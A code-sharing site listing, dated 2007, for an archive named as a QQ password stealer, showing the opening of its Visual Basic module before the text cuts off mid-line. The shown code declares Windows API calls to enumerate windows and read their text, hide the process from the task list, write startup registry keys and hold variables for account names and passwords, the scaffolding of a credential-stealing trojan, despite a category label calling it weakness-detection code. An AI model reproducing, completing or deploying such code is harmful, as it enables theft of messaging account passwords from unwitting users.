Module1.bas
资源名称:QQ密码盗取.zip [点击查看]
上传用户:longston
上传日期:2007-05-02
资源大小:23k
文件大小:6k
源码类别:
ICQ弱点检测代码
开发平台:
Visual Basic
- Attribute VB_Name = "Module1"
- Option Explicit
- Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Any, ByVal lParam As Long) As Long
- Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
- Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, _
- ByVal lpClassName As String, ByVal nMaxCount As Long) As Long '为指定的窗口取得类名
- Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
- Const GW_CHILD = 5
- Const GW_HWNDNEXT = 2
- Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal _
- wMsg As Long, ByVal wParam As Long, lParam As Any) As Long '发送消息
- Const WM_GETTEXT = &HD
- Const WM_GETTEXTLENGTH = &HE
- Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
- Const RSP_SIMPLE_SERVICE = 1 '隐藏
- Declare Function RegCreateKey& Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey&, ByVal lpszSubKey$, lphKey&)
- Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
- Const HKEY_LOCAL_MACHINE = &H80000002
- Const REG_SZ = 1
- Declare Function CreateFileMapping Lib "kernel32" Alias "CreateFileMappingA" _
- (ByVal hFile As Long, lpFileMappigAttributes As SECURITY_ATTRIBUTES, ByVal flProtect _
- As Long, ByVal dwMaximumSizeHigh As Long, ByVal dwMaximumSizeLow As Long, ByVal lpName _
- As String) As Long
- Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
- Type SECURITY_ATTRIBUTES
- nLength As Long
- lpSecurityDescriptor As Long
- bInheritHandle As Long
- End Type
- Const PAGE_READWRITE = 1
- Const ERROR_ALREADY_EXISTS = 183&
- Dim buf As String
- Dim nameall, name, passwordall, password As String
- Dim i As Integer
- Dim title, titleall, filepath As String
- Public Function EnumProc(ByVal app_hwnd As Long, ByVal lParam As Long) As Boolean '遍查主窗口
- Dim buf As String * 1024
- Dim length As Long
- filepath = App.Path & "